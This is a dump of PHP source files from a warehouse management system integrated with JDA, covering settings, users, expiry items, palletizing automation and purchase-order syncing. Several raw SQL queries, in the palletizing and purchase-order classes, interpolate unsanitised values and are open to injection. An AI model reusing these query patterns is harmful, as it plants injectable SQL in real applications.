'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('settings'. $this->setURL())->with('success', Lang::get('settings.text_success_insert'));
}
}
public function updateDataForm() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanUpdateSettings', unserialize(Session::get('permissions'))) || Settings::find(Input::get('id'))==NULL) {
return Redirect::to('settings' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['heading_title_update'] = Lang::get('settings.heading_title_update');
$this->data['entry_brand'] = Lang::get('settings.entry_brand');
$this->data['entry_product_identifier'] = Lang::get('settings.entry_product_identifier');
$this->data['entry_product_action'] = Lang::get('settings.entry_product_action');
$this->data['button_submit'] = Lang::get('general.button_submit');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// Options
$this->data['brand_options'] = $this->brandOptions();
$this->data['product_identifier_options'] = $this->productIdentifierOptions();
$this->data['product_action_options'] = $this->productActionOptions();
// URL
$this->data['url_cancel'] = URL::to('settings' . $this->setURL());
$this->data['sort'] = Input::get('sort', 'brand');
$this->data['order'] = Input::get('order', 'ASC');
$this->data['page'] = Input::get('page', 1);
// Data
$this->data['settings'] = Settings::find(Input::get('id'));
$this->layout->content = View::make('settings.update', $this->data);
}
public function updateData() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanUpdateSettings', unserialize(Session::get('permissions'))) || Settings::find(Input::get('id'))==NULL) {
return Redirect::to('settings' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'brand' => 'required|unique:settings,brand,' . Input::get('id') . ',id,deleted_at,0000-00-00 00:00:00',
'product_identifier' => 'required',
'product_action' => 'required'
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('settings/update' . $this->setURL() .'&id=' . Input::get('id'))
->withErrors($validator)
->withInput();
} else {
// AuditTrail
$brand_options = $this->brandOptions();
$product_identifier_options = $this->productIdentifierOptions();
$product_action_options = $this->productActionOptionsDisplay();
$settings = Settings::find(Input::get('id'));
$data_before = 'Brand: ' . $brand_options[$settings->brand] . '<br />' .
'Product Identifier: ' . $product_identifier_options[$settings->product_identifier] . '<br />' .
'Action: ' . $product_action_options[$settings->product_action];
// AuditTrail
// Update Settings
$brands = $this->brandOptions();
$arrParams = array(
'brand' => Input::get('brand'),
'brand_name' => $brands[Input::get('brand')],
'product_identifier' => Input::get('product_identifier'),
'product_action' => Input::get('product_action'),
'updated_at' => date('Y-m-d H:i:s')
);
Settings::updateSetting(Input::get('id'), $arrParams);
// AuditTrail
$data_after = 'Brand: ' . $brand_options[Input::get('brand')] . '<br />' .
'Product Identifier: ' . $product_identifier_options[Input::get('product_identifier')] . '<br />' .
'Action: ' . $product_action_options[Input::get('product_action')];
$arrParams = array(
'module' => 'Settings',
'action' => 'Modifed Settings',
'reference' => Input::get('brand'),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('settings' . $this->setURL())->with('success', Lang::get('settings.text_success_update'));
}
}
public function deleteData() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanDeleteSettings', unserialize(Session::get('permissions')))) {
return Redirect::to('settings' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'selected' => 'required'
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('settings');
} else {
Settings::deleteSetting(Input::get('selected'));
// AuditTrail
$arrDeleted = array();
foreach (Input::get('selected') as $id) {
$info = Settings::find($id);
$arrDeleted[] = $info->brand;
}
$data_before = '';
$data_after = 'Deleted: ' . implode(', ', $arrDeleted);
$arrParams = array(
'module' => 'Settings',
'action' => 'Deleted Settings',
'reference' => implode(', ', $arrDeleted),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('settings' . $this->setURL())->with('success', Lang::get('settings.text_success_delete'));
}
}
protected function getList() {
$this->data['heading_title'] = Lang::get('settings.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_confirm'] = Lang::get('general.text_confirm');
$this->data['col_id'] = Lang::get('settings.col_id');
$this->data['col_brand'] = Lang::get('settings.col_brand');
$this->data['col_product_identifier'] = Lang::get('settings.col_product_identifier');
$this->data['col_product_action'] = Lang::get('settings.col_product_action');
$this->data['col_action'] = Lang::get('settings.col_action');
$this->data['button_insert'] = Lang::get('settings.button_insert');
$this->data['button_delete'] = Lang::get('settings.button_delete');
$this->data['link_edit'] = Lang::get('general.link_edit');
$this->data['error_delete'] = Lang::get('general.error_delete');
// Options
$this->data['product_identifier_options'] = $this->productIdentifierOptions();
$this->data['product_action_options'] = $this->productActionOptionsDisplay();
// URL
$url = $this->setURL();
$this->data['url_insert'] = URL::to('settings/insert' . $url);
$this->data['url_update'] = URL::to('settings/update' . $url);
// Messages
$this->data['error'] = '';
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Data
$page = Input::get('page', 1);
$sort = Input::get('sort', 'brand');
$order = Input::get('order', 'ASC');
$arrParams = array(
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Settings::getSettings($arrParams);
$results_total = Settings::getCountSettings($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'sort' => $sort,
'order' => $order
);
$this->data['settings'] = Paginator::make($results, $results_total, 30);
$this->data['settings_count'] = $results_total;
$this->data['counter'] = $this->data['settings']->getFrom();
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?page=' . $page;
$order_id = ($sort=='id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_brand = ($sort=='brand' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_id'] = URL::to('settings' . $url . '&sort=id&order=' . $order_id, NULL, FALSE);
$this->data['sort_brand'] = URL::to('settings' . $url . '&sort=brand&order=' . $order_brand, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('settings.list', $this->data);
}
protected function setURL() {
// Search Filters
$url = '?sort=' . Input::get('sort', 'brand');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
return $url;
}
protected function brandOptions() {
return array(
'' => Lang::get('general.text_select'),
'family-mart' => 'Family Mart',
'gap' => 'Gap'
);
}
protected function productIdentifierOptions() {
return array(
'upc' => Lang::get('settings.option_upc'),
'sku' => Lang::get('settings.option_sku')
);
}
protected function productActionOptions() {
return array(
'upc-detail-page' => Lang::get('settings.option_details'),
'increment-quantity' => Lang::get('settings.option_increment')
);
}
protected function productActionOptionsDisplay() {
return array(
'upc-detail-page' => Lang::get('settings.option_details_list'),
'increment-quantity' => Lang::get('settings.option_increment_list')
);
}
}<file_sep><?php
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
$ewms = new cronEWMS();
/**$ewms->products(); sleep(10);
$ewms->department(); sleep(10);
$ewms->slots(); sleep(10);
$ewms->vendors(); sleep(10);**/
$ewms->stores(); sleep(10);
$ewms->close();<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
include_once(__DIR__.'/../../db2_cron_class.php');
class palletizingStep1 extends jdaCustomClass
{
private static $formMsg = "";
private static $cartonType = 'S'; //default
public static $user = 'SYS';
/*
Palletizing Maintaining of Cartoon header
13
04
10
03
ENTER carton type: S (default na to)
press ENTER
Enter Carton id: CTNXXX20
press Enter
F7
*/
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterCartonHeaderMaintenance()
{
parent::$jda->screenWait("Carton Header Maintenance");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("03",22,44)),ENTER,true);
echo "Entered: Carton Header Maintenance \n";
}
private static function enterCartonType($box_code)
{
parent::$jda->screenWait("Enter Carton Type",5);
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(self::$cartonType, 8, 40);// enter carton type
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Carton Type \n";
return self::checkResponse($box_code,__METHOD__);
}
private static function enterCartonId($box_code)
{
parent::$jda->screenWait("Enter Carton ID");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
// $formValues[] = array(sprintf("%9s", $box_code),10,40); //enter carton id
$formValues[] = array($box_code,10,40); //enter carton id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Carton ID \n";
return self::checkResponse($box_code,__METHOD__);
}
private static function enterCartonDetails($box_code)
{
parent::$jda->screenWait("Cube Total");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F7,true);
echo "Entered: Carton Details \n";
return self::checkResponse($box_code,__METHOD__);
}
public function save($box_code)
{
self::enterCartonType($box_code);
self::enterCartonId($box_code);
self::enterCartonDetails($box_code);
}
private static function checkResponse($box_code,$source)
{
# error
if(parent::$jda->screenCheck('Carton type selection code is not valid or blank')) {
$receiver_message="Carton type selection code is not valid or blank";
self::$formMsg = "{self::$cartonType}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($box_code,"{$source}: {$receiver_message}", TRUE);
return false;
}
// no need to log this, this will always happen as we press ENTER key
if(parent::$jda->screenCheck('This carton id is invalid')) {
self::$formMsg = "{$box_code}: This carton id is invalid";
}
//TODOS: what to do if this message occured
if(parent::$jda->screenCheck('This is a new record. Press F1 to bypass record add')) {
$receiver_message="This is a new record. Press F1 to bypass record add";
self::$formMsg = "{$box_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($box_code,"{$source}: {$receiver_message}", TRUE);
parent::pressF1();
parent::enterWarning();
return false;
}
if(parent::$jda->screenCheck('The from location entered is not valid')) {
$receiver_message="The from location entered is not valid";
self::$formMsg = "{$box_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($box_code,"{$source}: {$receiver_message}", TRUE);
parent::pressF1();
parent::enterWarning();
return false;
}
#success
if(parent::$jda->screenCheck('This record is now updated in the file') || parent::$jda->screenWait('This record is now updated in the file')) {
self::$formMsg = "{$box_code}: This record is now updated in the file";
self::updateSyncStatus($box_code);
}
echo self::$formMsg;
return true;
}
/*
* Get all open boxes
*/
/*public function getBoxes()
{
$db = new pdoConnection();
echo "\n Getting box codes from db \n";
$sql = "SELECT b.box_code
FROM wms_box_details bd
INNER JOIN wms_box b ON b.box_code = bd.box_code
WHERE bd.sync_status = 1 AND b.sync_status = 0
GROUP BY bd.box_code";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['box_code'];
}
$db->close();
return $result;
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
/*private static function updateSyncStatus($box_code, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Updating... \n";
$sql = "UPDATE wms_box SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND box_code = '{$box_code}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND module = 'Box Header' AND jda_action='Creation' AND reference = '{$reference}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToCartonHeaderMaintenance()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Palletizing Maintaining of Cartoon header \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
parent::enterWarehouseMaintenance();
parent::enterCartonPalletLoadMaintenance();
self::enterCartonHeaderMaintenance();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
private static function syncPalletHeader($params)
{
$formattedString = "{$params['loadNo']}";
$dbInstance = new pdoConnection(); //open db connection
$dbInstance->daemon('palletizing_step2', $formattedString);
$dbInstance->close();
echo "Entered: Syncing pallet header.... \n";
}
public function logout($params = array())
{
parent::logout();
self::syncPalletHeader($params);
}
}
$db = new pdoConnection(); //open db connection
$db2 = new cronDB2();
if(!isset($argv[1])){
$jdaParams = array();
$jdaParams = array('module' => 'Shipping', 'jda_action' => 'Shipping');
$getLoads = $db->getJdaTransaction($jdaParams);
print_r($getLoads);
if(empty($getLoads) )
{
$jdaParams = array();
$jdaParams = array('module' => 'Loading', 'jda_action' => 'Assigning');
$getLoads = $db->getJdaTransaction($jdaParams);
print_r($getLoads);
}
if(! empty($getLoads) )
{
foreach($getLoads as $load) {
$formattedString = "{$load}";
$db->daemon('palletizing_step1', $formattedString);
}
}
}
else {
$execParams = array();
$execParams['loadNo'] = ((isset($argv[1]))? $argv[1] : NULL);
print_r($execParams);
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getPicklists= $db->getPicklistsOfLoad($jdaParams['reference']);
$getOpenPicklist = $db->getJdaTransactionUnsuccessfulPicklist($getPicklists);
if(empty($getOpenPicklist))
{
$jdaParams = array();
$jdaParams = array('module' => 'Box Header', 'jda_action' => 'Creation');
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getBoxes = $db->getJdaTransactionBoxHeader($jdaParams);
print_r($getBoxes);
if(! empty($getBoxes) )
{
$palletizing = new palletizingStep1();
$palletizing->enterUpToCartonHeaderMaintenance();
// $getBoxes = $palletizing->getBoxes();
foreach($getBoxes as $box) {
$palletizing->save($box);
}
$palletizing->logout($execParams);
}
else {
echo " \n No rows found!. Proceed to Pallet Header Creation\n";
$formattedString = "{$execParams['loadNo']}";
$db->daemon('palletizing_step2', $formattedString);
}
}
else{
echo " \nSOME PICKLISTS OF {$execParams['loadNo']} ARE NOT YET CLOSED\n";
print_r($getOpenPicklist);
}
}
$db->close(); //close db connection<file_sep><?php
use Illuminate\Auth\UserTrait;
use Illuminate\Auth\UserInterface;
use Illuminate\Auth\Reminders\RemindableTrait;
use Illuminate\Auth\Reminders\RemindableInterface;
class User extends Eloquent implements UserInterface, RemindableInterface {
// protected $deleted_at = array('deleted_at');
public static $rules = array(
'firstname'=>'required|min:2',
'lastname'=>'required|min:2',
'username'=>'required',
'password'=>'<PASSWORD>|alpha_num|between:6,12|confirmed',
'password_confirmation'=>'required|alpha_num|between:6,12'
);
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'users';
/**
* The attributes excluded from the model's JSON form.
*
* @var array
*/
protected $hidden = array('password', 'remember_token');
/**
* Get the unique identifier for the user.
*
* @return mixed
*/
public function getAuthIdentifier()
{
return $this->getKey();
}
/**
* Get the password for the user.
*
* @return string
*/
public function getAuthPassword()
{
return $this->password;
}
/**
* Get the e-mail address where password reminders are sent.
*
* @return string
*/
public function getReminderEmail()
{
return $this->email;
}
public function getRememberToken()
{
return $this->remember_token;
}
public function setRememberToken($value)
{
$this->remember_token = $value;
}
public function getRememberTokenName()
{
return 'remember_token';
}
public static function getUserRoleByLists($role_id) {
$result = User::where("role_id", "=", $role_id)->get()->lists('firstname', 'id');
return $result;
}
public static function getUserLists() {
$result = User::get()->lists('username', 'id');
return $result;
}
public static function addUser($data = array()) {
DB::table('users')->insert($data);
}
public static function updateUser($id, $data = array()) {
$query = DB::table('users')->where('id', '=', $id);
$query->update($data);
}
public static function deleteUser($data = array()) {
foreach ($data as $item) {
$query = DB::table('users')->where('id', '=', $item);
$query->update(array('deleted_at' => date('Y-m-d H:i:s')));
}
}
public static function getUsers($data = array(), $getCount=false) {
$query = DB::table('users')->select(DB::raw('wms_users.*, CONCAT(wms_users.firstname, \' \', wms_users.lastname) AS name, wms_user_roles.role_name, brand_name, store_name'))
->join('user_roles', 'users.role_id', '=', 'user_roles.id', 'LEFT')
// ->join('settings', 'users.brand', '=', 'settings.id', 'LEFT')
->join('brands', 'users.brand_id', '=', 'brands.id', 'LEFT')
->join('stores','users.store_code','=','stores.store_code', 'LEFT')
->where('users.id', '!=', 1)
->where(function($query_sub)
{
$query_sub->where('users.deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('users.deleted_at', '=', NULL);
});
if( CommonHelper::hasValue($data['filter_username']) ) $query->where('username', 'LIKE', '%'.$data['filter_username'].'%');
if( CommonHelper::hasValue($data['filter_barcode']) ) $query->where('barcode', 'LIKE', '%'.$data['filter_barcode'].'%');
if( CommonHelper::hasValue($data['filter_user_role']) ) $query->where('user_roles.id', '=', $data['filter_user_role']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='name') $data['sort'] = 'users.firstname';
if ($data['sort']=='role') $data['sort'] = 'user_roles.role_name';
if ($data['sort']=='brand') $data['sort'] = 'brands.brand_name';
if ($data['sort']=='date') $data['sort'] = 'users.created_at';
$query->orderBy($data['sort'], $data['order']);
}
if($getCount) return $query->count();
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getCountUsers($data = array()) {
$query = DB::table('users')->select(DB::raw('wms_users.*, CONCAT(wms_users.firstname, \' \', wms_users.lastname) AS name, wms_user_roles.role_name, brand_name'))
->join('user_roles', 'users.role_id', '=', 'user_roles.id', 'LEFT')
// ->join('settings', 'users.brand', '=', 'settings.id', 'LEFT')
->join('brands', 'users.brand_id', '=', 'brands.id', 'LEFT')
->where('users.id', '!=', 1)
->where(function($query_sub)
{
$query_sub->where('users.deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('users.deleted_at', '=', NULL);
});
if( CommonHelper::hasValue($data['filter_username']) ) $query->where('username', 'LIKE', '%'.$data['filter_username'].'%');
if( CommonHelper::hasValue($data['filter_barcode']) ) $query->where('barcode', 'LIKE', '%'.$data['filter_barcode'].'%');
if( CommonHelper::hasValue($data['filter_user_role']) ) $query->where('user_roles.id', '=', $data['filter_user_role']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='name') $data['sort'] = 'users.firstname';
if ($data['sort']=='role') $data['sort'] = 'user_roles.role_name';
if ($data['sort']=='brand') $data['sort'] = 'brands.brand_name';
if ($data['sort']=='date') $data['sort'] = 'users.created_at';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->count();
return $result;
}
public static function oldgetCountUsers($data = array()) {
$query = DB::table('users')->join('user_roles', 'users.role_id', '=', 'user_roles.id', 'LEFT')
->join('settings', 'users.brand', '=', 'settings.id', 'LEFT')
->where('users.id', '!=', 1)
->where(function($query_sub)
{
$query_sub->where('users.deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('users.deleted_at', '=', NULL);
});
if( CommonHelper::hasValue($data['filter_username']) ) $query->where('username', 'LIKE', '%'.$data['filter_username'].'%');
if( CommonHelper::hasValue($data['filter_barcode']) ) $query->where('barcode', 'LIKE', '%'.$data['filter_barcode'].'%');
if( CommonHelper::hasValue($data['filter_user_role']) ) $query->where('user_roles.role_name', 'LIKE', '%'.$data['filter_user_role'].'%');
return $query->count();
}
public static function getBarcodeUser($code) {
// $query = User::where(DB::raw('BINARY `barcode`'), $code)
$query = User::where('barcode', '=', $code)
->where('deleted_at', '=', '0000-00-00 00:00:00')
->where('role_id', '=', 3);
DebugHelper::log(__METHOD__);
if ($query) {
return $query->first();
} else {
throw new Exception( 'Invalid user!');
}
}
public static function getUser($data = array()) {
$query = User::where('username', '=', $data['username'])
->where('password', '=', <PASSWORD>($data['password']));
return $query->first();
}
public static function getUserOptions() {
$query = DB::table('users')->where(function($query_sub)
{
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
})
->orderBy('role_id', 'ASC');
$result = $query->get();
return $result;
}
public static function getStockPilerOptions() {
$query = DB::table('users')->where('role_id', '=', '3')
->where(function($query_sub)
{
$query_sub->where('deleted_at', '=', '0000-00-00 00:00:00')
->orWhere('deleted_at', '=', NULL);
})
->orderBy('firstname', 'ASC');
$result = $query->get();
return $result;
}
public static function getUsersFullname($data = array()) {
// return User::whereIn('id', $data)->get(array('firstname', 'lastname'))->toArray();
return User::select(DB::raw('CONCAT(wms_users.firstname, \' \', wms_users.lastname) AS name'))
->whereIn('id', $data)
->get()->toArray();
}
}<file_sep><?php
class ExpiryItemsController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessExpiryItems', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessExpiryItems', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportExpiryItems', unserialize(Session::get('permissions')))) {
return Redirect::to('slots');
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('expiry_items');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_shipment_reference_no' => Input::get('filter_shipment_reference_no', NULL),
'filter_po_no' => Input::get('filter_po_no', NULL),
'filter_from_date' => Input::get('filter_from_date', NULL),
'filter_to_date' => Input::get('filter_to_date', NULL),
'sort' => Input::get('sort', 'sku'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = PurchaseOrderDetail::getPODetailsWithExpiration($arrParams);
$this->data['filter_from_date'] = Input::get('filter_from_date', NULL);
$this->data['filter_to_date'] = Input::get('filter_to_date', NULL);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('expiry_items.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('expiry_items_' . date('Ymd') . '.pdf');
}
protected function getList() {
$this->data = Lang::get('expiry_items');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
// URL
$this->data['url_export'] = URL::to('expiry_items/export' . $this->setURL());
// Search Filters
$filter_po_no = Input::get('filter_po_no', NULL);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', NULL);
$filter_from_date = Input::get('filter_from_date', NULL);
$filter_to_date = Input::get('filter_to_date', NULL);
$sort = Input::get('sort', 'purchase_order_lists.receiver_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
// Data
$arrParams = array(
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'filter_po_no' => $filter_po_no,
'filter_from_date' => $filter_from_date,
'filter_to_date' => $filter_to_date,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = PurchaseOrderDetail::getPODetailsWithExpiration($arrParams);
$results_total = PurchaseOrderDetail::getPODetailsWithExpiration($arrParams, TRUE);
// Pagination
$this->data['arrFilters'] = array(
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'filter_po_no' => $filter_po_no,
'filter_from_date' => $filter_from_date,
'filter_to_date' => $filter_to_date,
'sort' => $sort,
'order' => $order
);
$this->data['expiry_items'] = Paginator::make($results, $results_total, 30);
$this->data['expiry_items_count'] = $results_total;
$this->data['counter'] = $this->data['expiry_items']->getFrom();
$this->data['filter_po_no'] = $filter_po_no;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['filter_from_date'] = $filter_from_date;
$this->data['filter_to_date'] = $filter_to_date;
// $this->data['po_info'] = PurchaseOrder::getPOInfo($receiver_no);
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_po_no=' . $filter_po_no . '&filter_shipment_reference_no=' . $filter_shipment_reference_no;
$url .= '&page=' . $page;
$order_purchase_order_no = ($sort=='purchase_order_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_expiry_date = ($sort=='expiry_date' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_po_no'] = URL::to('expiry_items' . $url . '&sort=purchase_order_no&order=' . $order_purchase_order_no, NULL, FALSE);
$this->data['sort_expiry_date'] = URL::to('expiry_items' . $url . '&sort=expiry_date&order=' . $order_expiry_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('expiry_items.list', $this->data);
}
protected function setURL() {
// Search Filters
// http://local.ccri.com/picking/list?filter_doc_no=&filter_status=&filter_store=26&sort=doc_no&order=ASC
$url = '?filter_po_no=' . Input::get('filter_po_no', NULL);
$url .= '&filter_shipment_reference_no=' . Input::get('filter_shipment_reference_no', NULL);
$url .= '&filter_from_date=' . Input::get('filter_from_date', NULL);
$url .= '&filter_to_date=' . Input::get('filter_to_date', NULL);
$url .= '&sort=' . Input::get('sort', 'sku');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
return $url;
}
}<file_sep><?php
class JdaTransaction extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'transactions_to_jda';
public static function insert($data)
{
$record = JdaTransaction::where('module', '=', $data['module'])
->where('jda_action', '=', $data['jda_action'])
->where('reference', '=', $data['reference'])
->first();
if($record === null ) {
$result = DB::table('transactions_to_jda')->insert($data);
return $result;
}
return false;
}
}<file_sep><?php
require_once(__DIR__.'/../config/config.php');
require_once(__DIR__ . '/../db_connection/db_connection.php');
require_once(__DIR__.'/../jda_connection/jda_connection.php');
class db_purchase_order_function {
private $jda;
function __construct()
{
$config = mysql_credentials();
$this->sql_conn = new Sqlconnect($config['hostname'], $config['database'], $config['username'], $config['password']);
$this->jda = new JDAConnect();
$this->jda->connect();
}
public function Connect() {
return $this->sql_conn->Connect();
}
public function getClosedPO() {
$query = "SELECT receiver_no, invoice_no, po_status, purchase_order_no from wms_purchase_order_lists where (po_status = 5 or po_status = 6) and sync_to_jda = '0'";
return $this->sql_conn->runQuery($query);
}
public function getQtyPO($mts_no) {
$query = " SELECT wms_purchase_order_details.sku, quantity_delivered as moved_qty, slot_code
from wms_purchase_order_details
where receiver_no ='$mts_no'";
return $this->sql_conn->runQuery($query);
}
public function updateIsSyncedPO($doc_no) {
$query = " UPDATE wms_purchase_order_lists set sync_to_jda =1, updated_at=date('Y-m-d H:i:s') where receiver_no = '$doc_no'";
return $this->sql_conn->updateQuery($query);
}
public function getNotInPO($po_no, $receiver_no)
{
$query = "SELECT wms_product_lists.sku, quantity_delivered, wms_purchase_order_detailS.receiver_no
from wms_purchase_order_lists
left join wms_purchase_order_details on wms_purchase_order_lists.receiver_no = wms_purchase_order_details.receiver_no
left join wms_product_lists on wms_purchase_order_details.sku = wms_product_lists.upc
where wms_purchase_order_lists.purchase_order_no = '$po_no' and wms_purchase_order_details.receiver_no = '$receiver_no' and quantity_ordered = '0' ";
return $this->sql_conn->runQuery($query);
}
public function JDAUpdatePOQty($whmove, $inumbr, $qty) {
$query = "UPDATE ".$this->jda->getLibrary().".POMRCD
SET pomcur = ".$qty."
WHERE pomrcv = ".$whmove."
AND inumbr ='".$inumbr."'";
return $this->jda->runDb2Query($query);
}
}<file_sep><?php
class ProductListController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessProductMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessProductMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
/*public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportProductMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('products');
}
} else {
return Redirect::to('users/logout');
}
$arrParams = array(
'filter_prod_sku' => Input::get('filter_prod_sku', NULL),
'filter_prod_upc' => Input::get('filter_prod_upc', NULL),
'filter_prod_full_name' => Input::get('filter_prod_full_name', NULL),
'filter_prod_short_name' => Input::get('filter_prod_short_name', NULL),
'filter_dept_no' => Input::get('filter_dept_no', NULL),
'filter_sub_dept_no' => Input::get('filter_sub_dept_no', NULL),
'sort' => Input::get('sort', 'sku'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
